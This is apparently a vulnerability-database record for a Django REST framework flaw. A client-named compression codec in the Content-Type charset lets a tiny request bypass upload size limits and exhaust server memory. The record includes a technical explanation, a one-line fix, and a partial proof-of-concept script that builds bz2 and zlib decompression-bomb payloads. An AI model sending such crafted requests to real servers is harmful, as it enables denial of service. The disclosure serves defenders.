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Response snapshot Oct 26, 2026, 23:41 UTC

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VulnerabilityCVE-2026-114136

Django REST framework: JSONParser applies an attacker-named codec to the request stream

An unauthenticated attacker can defeat Django's `DATA_UPLOAD_MAX_MEMORY_SIZE` limit and force a worker process to allocate arbitrary memory, by naming a compression codec in the Content-Type charset parameter.

Published Updated

At a glance

Exploited
Not known
Severity
7.5 High (CVSS 3.1)
Chance of exploitation
0.4% in the next 30 days
Sources
2 independent sources

What to do

GitHub lists first patched versions: djangorestframework: 3.18.2. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-3547-9m27-7rxg (opens a new tab)

What happened

### Summary

An unauthenticated attacker can defeat Django's `DATA_UPLOAD_MAX_MEMORY_SIZE` limit and force a worker process to allocate arbitrary memory, by naming a compression codec in the Content-Type charset parameter. A 108-byte request body produces a 50,331,648-character value inside the view, an amplification factor of 466,033, and grows process peak RSS by about 97 MiB.

No application configuration is required beyond DRF's default parser set; the endpoint only has to accept a JSON body.

### Details

Continue reading

`JSONParser.parse` decodes the request body with the charset the client supplied on the Content-Type header:

```python # rest_framework/parsers.py encoding = parser_context.get('encoding', settings.DEFAULT_CHARSET) try: decoded_stream = codecs.getreader(encoding)(stream) parse_constant = json.strict_constant if self.strict else None return json.load(decoded_stream, parse_constant=parse_constant) except ValueError as exc: raise ParseError('JSON parse error - %s' % str(exc)) ```

Of the roughly 455 codec names `codecs.lookup` resolves on CPython 3.14, about 18 are byte transforms instead of character sets: `bz2_codec`, `zlib_codec`, `base64_codec`, `hex_codec`, `quopri_codec`, `uu_codec` and similar. `codecs.getreader` is the only entry point in the `codecs` module that does not consult `CodecInfo._is_text_encoding`, so it accepts all of them.

Sending `Content-Type: application/json; charset=bz2_codec` wraps the request stream in a bz2 decompressor before `json.load` reads it.

The ordering is what makes this exploitable. Django charges `DATA_UPLOAD_MAX_MEMORY_SIZE` against the bytes that arrived on the wire: `rest_framework/request.py` hands `JSONParser` an `io.BytesIO(self.body)`, and `HttpRequest.body` is where `_check_data_too_big()` runs. Decompression happens afterwards, inside the parser, where nothing is counting.

This is DRF's defect and not Django's. Django resolves the charset parameter and assigns `request.encoding`, and `codecs.lookup` does resolve byte transforms, but every Django consumer of `request.encoding` goes through the text-codec API and fails closed. Both `bytes.decode('bz2_codec')` and `str(raw, 'bz2_codec')` raise `LookupError: 'bz2_codec' is not a text encoding; use codecs.

decode() to handle arbitrary codecs`. DRF is the only caller that hands the request stream to `codecs.getreader`.

`FormParser` (`parsers.py:84`) and `MultiPartParser` (`parsers.py:104-118`) take the same client-named encoding but fail closed instead of amplifying.

The sink was introduced by `9a228116` (PR #5147, 2017-05-24, "Improve memory footprint when reading large JSON requests"), first released in 3.6.4. The final comment on that PR observes the intended memory gain does not hold because `read()` decodes the whole stream, which is the same property that makes this expansion unbounded. No `_is_text_encoding` check has been added since.

A one-line fix at `parsers.py:61-64`:

```python if not codecs.lookup(encoding)._is_text_encoding: raise ParseError('Unsupported charset in Content-Type') ```

### PoC

Save as `poc_charset_amplification.py` and run it. It builds its own payloads, runs each arm in a fresh subprocess (peak RSS is a high-water mark, so measuring several arms in one process reports near-zero growth for every arm after the first), and prints a verdict.

```python #!/usr/bin/env python """ django-rest-framework: JSONParser applies an attacker-named codec to the request stream, defeating DATA_UPLOAD_MAX_MEMORY_SIZE.

Four arms, each in a fresh subprocess because peak RSS is a high-water mark and measuring several arms in one process reports ~0 growth for every arm after the first.

T ~108-byte bz2 body, Content-Type: application/json; charset=bz2_codec C1 48 MiB plaintext, Content-Type: application/json (no charset) C2 the byte-identical T body, charset=utf-8 C3 zlib body, charset=zlib_codec

The claim is T AND C1 AND C2. C1 proves the size limit is live; C2 proves the codec name and not the payload is what produces the expansion.

Requires: django, djangorestframework importable. No arguments, nothing to edit. python poc_charset_amplification.py Exit status 0 means every arm behaved as described in the advisory. """ import hashlib import json import os import subprocess import sys import tempfile

PAYLOAD_CHARS = 48 * 1024 * 1024 PAYLOAD_DIR = os.path.join(tempfile.gettempdir(), "drf-charset-amp") LIMIT = 65536

ARMS = { "T": ("bz2.bin", "application/json; charset=bz2_codec"), "C1": ("plain.bin", "application/json"), "C2": ("bz2.bin", "application/json; charset=utf-8"), "C3": ("zlib.

bin", "application/json; charset=zlib_codec"), } EXPECTED = { "T": "HTTP 200, parsed value orders of magnitude larger than the wire bytes", "C1": "rejected with RequestDataTooBig, view body never runs", "C2": "HTTP 400 ParseError on the byte-identical compressed body", "C3": "HTTP 200, same expansion under a different codec name", } VIEW_RAN = []

def build_payloads(): import bz2 import zlib

os.makedirs(PAYLOAD_DIR, exist_ok=True) plain = b'{"a":"' + b"A" * PAYLOAD_CHARS + b'"}' blobs = { "plain.bin": plain, "bz2.bin": bz2.compress(plain, 9), "zlib.bin": zlib.compress(plain, 9), } for name, blob in blobs.items(): with open(os.path.join(PAYLOAD_DIR, name), "wb") as fh: fh.write(blob) return {name: len(blob) for name, blob in blobs.items()}

def configure_django(): from django.conf import settings

settings.configure( DEBUG=False, ALLOWED_HOSTS=["testserver"], SECRET_KEY="poc", ROOT_URLCONF=__name__, MIDDLEWARE=[], INSTALLED_APPS=[ "django.contrib.contenttypes", "django.contrib.auth", "rest_framework", ], DATABASES={ "default": {"ENGINE": "django.db.backends.sqlite3", "NAME": ":memory:"} }, DEFAULT_CHARSET="utf-8", DATA_UPLOAD_MAX_MEMORY_SIZE=LIMIT, LOGGING_CONFIG=None, USE_TZ=True, ) import django

django.setup()

def build_view(): from rest_framework.response import Response from rest_framework.views import APIView

class Echo(APIView):

Affected package ranges reported by GitHub: djangorestframework: >= 3.6.4, < 3.18.2

Scores and how they were measured

CVSS base severity

7.5

Version 3.1As of

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

0.4%

Scored Percentile 38.0%

Model and measurement source (opens a new tab)

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-3547-9m27-7rxg (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-3547-9m27-7rxg, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  3. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-3547-9m27-7rxg, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  4. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-3547-9m27-7rxg, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  5. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-3547-9m27-7rxg, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  6. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-3547-9m27-7rxg, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  7. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-3547-9m27-7rxg, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  8. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-3547-9m27-7rxg, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  9. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-3547-9m27-7rxg, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  10. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-3547-9m27-7rxg, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  11. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-3547-9m27-7rxg, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  12. Primary source

    NVD CVE-2026-114136 (opens a new tab)

    NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation.

    Published Checked

  13. Primary source

    NVD CVE API 2.0 (opens a new tab)

    The NVD API page that supplied this CVE record.

    Published Date not suppliedChecked

  14. Primary source

    FIRST measured EPSS score (opens a new tab)

    Measured EPSS probability and percentile for CVE-2026-114136, scored 2026-10-26. This is a model estimate, not proof of exposure.

    Published Checked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 22). Django REST framework: JSONParser applies an attacker-named codec to the request stream (CVE-2026-114136). https://kevwire.com/record/CVE-2026-114136

MLA

"Django REST framework: JSONParser applies an attacker-named codec to the request stream (CVE-2026-114136)." KEVWire, 22 Oct. 2026, kevwire.com/record/CVE-2026-114136.

Chicago

KEVWire. "Django REST framework: JSONParser applies an attacker-named codec to the request stream (CVE-2026-114136)." Last modified October 22, 2026. https://kevwire.com/record/CVE-2026-114136.

Evidence summary (plain text)

Django REST framework: JSONParser applies an attacker-named codec to the request stream (Oct 22, 2026).
An unauthenticated attacker can defeat Django's `DATA_UPLOAD_MAX_MEMORY_SIZE` limit and force a
worker process to allocate arbitrary memory, by naming a compression codec in the Content-Type
charset parameter. A 108-byte request body produces a 50,331,648-character value inside the view, an
amplification factor of 466,033, and grows process peak RSS by about 97 MiB. No application
configuration is required beyond DRF's default parser set; the endpoint only has to accept a JSON
body.

`JSONParser.parse` decodes the request body with the charset the client supplied on the Content-Type
header:
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114136).
EPSS 0.4% for the following 30 days, scored Oct 26, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114136&date=2026-10-26).
Sources:
GitHub-reviewed advisory GHSA-3547-9m27-7rxg: https://github.com/advisories/GHSA-3547-9m27-7rxg
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo1MTozMFrOAAf0Mg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
NVD CVE-2026-114136: https://nvd.nist.gov/vuln/detail/CVE-2026-114136
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114136&date=2026-10-26
Record ID: CVE-2026-114136.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 26, 2026, 19:40 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

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